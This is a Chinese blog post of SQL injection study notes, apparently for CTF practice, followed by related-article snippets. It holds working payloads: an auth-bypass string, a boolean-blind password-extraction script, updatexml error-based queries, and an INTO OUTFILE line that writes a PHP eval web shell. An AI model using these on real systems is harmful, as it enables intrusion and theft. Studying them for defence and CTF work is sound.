sql深入學習

文章目錄

  • 前言
  • 知識學習
    • 注釋的兩種形式
    • 字符型注入
      • 萬能密碼
    • 布爾盲注
    • 報錯注入
    • 堆疊注入
    • 時間盲注
    • 二次注入
  • 小技巧

前言

這次學習建立在對數據庫有基本的認識,了解基礎的增刪改查語句,數字型注入和字符型注入的基礎上,進一步深入學習知識,并進行實戰訓練

知識學習

注釋的兩種形式

  1. #號,url編碼用%23替代
  2. --空格

字符型注入

注入字符被引號包裹,需要采取一定的策略繞過,包括or截斷,前面引號后面注釋等

//eq:拼接sql語句查找指定ID用戶
$sql = "select username,password from user 
where username !='flag' and id = '".$_GET['id']."' limit 1;";

顯然需要傳入id,假設傳入id=1,那么我們得到的效果就是id=‘1’,所以在這里需要構造語句來達到查詢效果
在sql語句中,and運算符的優先級比or高,構造id=-1使username!='flag’失效,再構造or username='flag’達到查詢效果。

payload:id=-1’ or username='fla

如果返回邏輯繼續優化,我們就需要用常規聯合查詢的步驟走

//檢查結果是否有flagif($row->username!=='flag'){$ret['msg']='查詢成功';}

首先,通過排序邏輯判斷列數
id=1 order by 2(依據第二列排序,這個數字逐漸增加,直到報錯為止,得到列數)
select 1,database() 得到數據庫名稱

select group_concat(table_name) from information_schema.tables where table_schema=database();得到表名

select (select group_concat(column_name) from information_schema.columns where table_name=‘ctfshow_user’),database() 得到列名

select (select group_concat(password) from ctfshow_web.ctfshow_user2),database()%23 拿具體信息

在無過濾題目中,可以采取寫入一句話木馬再蟻劍連接的形式
id=0' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"

萬能密碼

假設我們的登錄邏輯是user=‘a’ and password=‘b’,and邏輯的優先級比or高,所以如果前面的登錄密碼輸錯,那么一定是0,0 or 1的結果為1,所以就產生了萬能密碼,當然,在現在的網站中絕大部分都不會有這樣的漏洞

‘or 1=1--

布爾盲注

注入沒有明顯的返回結果,注入成功頁面正常,注入失敗頁面報錯
猜測腳本

import requestsurl = "http://127.0.0.1/login.php"string = "abcdefghijklmnopqrstuvwxyz0123456789";
password = ""for i in range(10):for s in string:data={"username":f"xxx' or if(substr((select password from user where id = 1),{i+1},1)='{s}',1,0)#","password":"ctfshow"}response = requests.post(url=url,data=data)if "登錄成功" in response.text:password+=sbreakelse:print(f"正在嘗試第{i+1}位字符是否為{s}")print("password is "+password)

報錯注入

報錯會返回信息,利用這一點拿到信息
updatexml函數強制報錯,并可執行語句,帶出語句的查詢結果

username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123

類似的,采用整數溢出報錯,不存在函數報錯等等也能達到同樣的效果

堆疊注入

多個;號多個注入語句
拼接法繞過

eg:@a=sele,@b=ct,@payload=@a+@b

時間盲注

可以執行sql注入,但是不知道注入結果,甚至不知道注入了沒

  • sleep函數獲取延時信息
  • 笛卡爾積查詢(查詢大量數量達到一定時間的效果)
  • get_lock()函數延時法,針對數據庫的長連接有效(php每次用完后就會斷開連接,java維護數據庫連接池,實現長連接)

二次注入

無法直接注入,但是可以把要注入的數據先放到數據庫中,其他地方引用數據庫中的的數據拼接語句時不再進行過濾

小技巧

表示數據時可以采用十六進制形式
無過濾題目可以采用寫入shell,再蟻劍連接查看數據庫

1 union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/72043.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/72043.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/72043.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

利用three.js在Vue項目中展示重構的stl模型文件

一、目的 為了在前端頁面展示3d打印機打印過程 二、前期準備 完整模型的stl文件和模型切割成的n個stl文件 models文件夾下的文件就是切割后的stl文件 三、代碼 <template><div ref"threeContainer" class"three-container"></div><…

【Eureka 緩存機制】

今天簡單介紹一下Eureka server 的緩存機制吧?????? 一、先來個小劇場&#xff1a;服務發現的"拖延癥" 想象你是個外賣小哥&#xff08;客戶端&#xff09;&#xff0c;每次接單都要打電話問調度中心&#xff08;Eureka Server&#xff09;&#xff1a;“現在…

Python--內置模塊和開發規范(下)

2. 開發規范 2.1 單文件應用 文件結構示例 # 文件注釋 import os import jsonDB_PATH "data.json" # 常量放頂部def load_data():"""函數注釋&#xff1a;加載數據"""if os.path.exists(DB_PATH):with open(DB_PATH, "r"…

go設計模式

劉&#xff1a;https://www.bilibili.com/video/BV1kG411g7h4 https://www.bilibili.com/video/BV1jyreYKE8z 1. 單例模式 2. 簡單工廠模式 代碼邏輯&#xff1a; 原始&#xff1a;業務邏輯層 —> 基礎類模塊工廠&#xff1a;業務邏輯層 —> 工廠模塊 —> 基礎類模塊…

搭建數字化生態平臺公司:痛點與蚓鏈解決方案

在數字技術突飛猛進的當下&#xff0c;數字化生態平臺成為眾多企業實現創新發展、拓展業務版圖的 “秘密工具”。今天&#xff0c;咱們就一起來聊聊搭建這類平臺的公司&#xff0c;看看它們有啥獨特之處&#xff0c;又面臨哪些難題。 一、面臨的痛點 &#xff08;一&#xff0…

標記符號“<”和“>”符號被稱為“尖括號”或“角括號”

你提到的“<”和“>”符號被稱為“尖括號”或“角括號”。它們常用于編程語言中表示類型參數&#xff08;如泛型&#xff09;、HTML標簽&#xff08;如<div>&#xff09;、數學中的不等式&#xff08;如< 5&#xff09;等。 好的&#xff0c;我來用通俗的方式解…

云平臺DeepSeek滿血版:引領AI推理革新,開啟智慧新時代

引言&#xff1a;人工智能的未來——云平臺的卓越突破 在當今科技飛速發展的時代&#xff0c;人工智能&#xff08;AI&#xff09;技術正深刻地改變著我們生活與工作方式的方方面面。作為AI領域的創新者與領航者&#xff0c;云平臺始終走在技術前沿&#xff0c;憑借無窮的熱情…

自然語言處理:文本規范化

介紹 大家好&#xff01;很高興又能在這兒和大家分享自然語言處理相關的知識了。在上一篇發布于自然語言處理&#xff1a;初識自然語言處理-CSDN博客為大家初步介紹了自然語言處理的基本概念。而這次&#xff0c;我將進一步深入這個領域&#xff0c;和大家聊聊自然語言處理中一…

HTTP非流式請求 vs HTTP流式請求

文章目錄 HTTP 非流式請求 vs 流式請求一、核心區別 服務端代碼示例&#xff08;Node.js/Express&#xff09;非流式請求處理流式請求處理 客戶端請求示例非流式請求&#xff08;瀏覽器fetch&#xff09;流式請求處理&#xff08;瀏覽器fetch&#xff09; Python客戶端示例&…

C語言機試編程題

編寫版本&#xff1a;vc2022 1.求最大/小值 #include<stdio.h> int main(){int a[50],n;int max, min;printf("請輸入您要輸入幾個數");scanf_s("%d", &n);printf("請輸入您要比較的%d個數\n",n);for (int i 0; i<n; i) {scanf_…

c++ 多個.cpp文件運行

目錄 方法 1&#xff1a;將其他文件中的 main 改為普通函數 方法 2&#xff1a;使用頭文件組織代碼 方法 3&#xff1a;條件編譯&#xff08;僅用于調試或特殊需求&#xff09; 方法 4&#xff1a;創建類或命名空間管理邏輯 在一個C項目中&#xff0c;多個.cpp文件不能同…

基于OFDR的層壓陸相頁巖油儲層中非對稱裂縫群傳播的分布式光纖監測

關鍵詞&#xff1a;OFDR、分布式光纖傳感、裂縫傳播 一. 概述 四川盆地涼高山組優質頁巖油儲層存在復雜的垂直重疊巖性&#xff0c;大陸頁巖油儲層存在發育層理&#xff0c;薄層和天然裂縫&#xff0c;對水平井多級壓裂技術的裂縫網絡形態控制和監測構成挑戰。本研究提出了一…

UniApp 按鈕組件 open-type 屬性詳解:功能、場景與平臺差異

文章目錄 引言一、open-type 基礎概念1.1 核心作用1.2 通用使用模板 二、主流 open-type 值詳解2.1 contact - 客服會話功能說明平臺支持代碼示例 2.2 share - 內容轉發功能說明平臺支持注意事項 2.3 getUserInfo - 獲取用戶信息功能說明平臺支持代碼示例 2.4 getPhoneNumber -…

【大模型】Ubuntu下 fastgpt 的部署和使用

前言 本次安裝的版本為 fastgpt:v4.8.8-fix2。 最新版本fastgpt:v4.8.20-fix2 問答時報錯&#xff0c;本著跑通先使用起來&#xff0c;就沒有死磕下去&#xff0c;后面bug解了再進行記錄。 ? github連接&#xff1a;https://github.com/labring/FastGPT fastgpt 安裝說明&…

【GenBI實戰】python腳本實現基于DeepSeek api的數據查詢和圖表可視化

寫在前面 生成式 BI (GenBI) 正在改變我們與數據交互的方式。它允許用戶使用自然語言提出問題&#xff0c;并自動獲得數據洞察&#xff0c;而無需編寫復雜的 SQL 查詢或手動創建圖表。本文將帶你動手實戰&#xff0c;使用 Python 和 DeepSeek API (或其他類似的大語言模型 API…

Web-to-Web和Server-to-Serve歸因方法

Web2Web 和 S2S 歸因方法 1. Web2Web 歸因方法 原理&#xff1a; Web2Web&#xff08;Web-to-Web&#xff09;歸因方法主要用于跟蹤用戶在網站之間的行為路徑。它通過瀏覽器中的Cookie或其他標識符來追蹤用戶在不同網站之間的行為&#xff0c;從而確定用戶轉化的路徑。 使用…

c++中迭代器和指針有什么區別?

在 C 中&#xff0c;迭代器和指針雖然在某些場景下有相似的行為&#xff0c;但它們在設計目的、功能和使用場景上有本質區別。以下是詳細對比和最佳實踐&#xff1a; 一、核心區別對比表 特征指針迭代器本質原生數據類型&#xff0c;直接存儲內存地址類對象&#xff0c;抽象容…

如何使用Docker搭建哪吒監控面板程序

哪吒監控(Nezha Monitoring)是一款自托管、輕量級的服務器和網站監控及運維工具,旨在為用戶提供實時性能監控、故障告警及自動化運維能力。 文檔地址:https://nezha.wiki/ 本章教程,使用Docker方式安裝哪吒監控面板,在此之前,你需要提前安裝好Docker. 我當前使用的操作系…

ONLYOFFICE + Ollama,本地AI模型的高效集成方案

這篇文章將繼續探討如何在 ONLYOFFICE 中連接并高效使用各類 AI 模型。今天的主角是 Ollama——一個專為本地部署和運行 AI 模型的平臺。如何使用 Ollama 并與 ONLYOFFICE 編輯器集成&#xff0c;利用其強大的 AI 模型處理文本任務。以下是詳細的操作步驟和使用方法。 關于 ONL…

單片機開發為什么不用C++?

最近受到很多初學者的靈魂拷問&#xff0c;單片機需要學C嗎&#xff1f; 還別說&#xff0c;問這問題的還挺多的&#xff0c;今天以一篇文章來說下。 很多小白覺得&#xff0c;C語言這老古董&#xff0c;語法簡陋得像石器時代的產物&#xff0c;為什么還牢牢霸占著單片機開發的…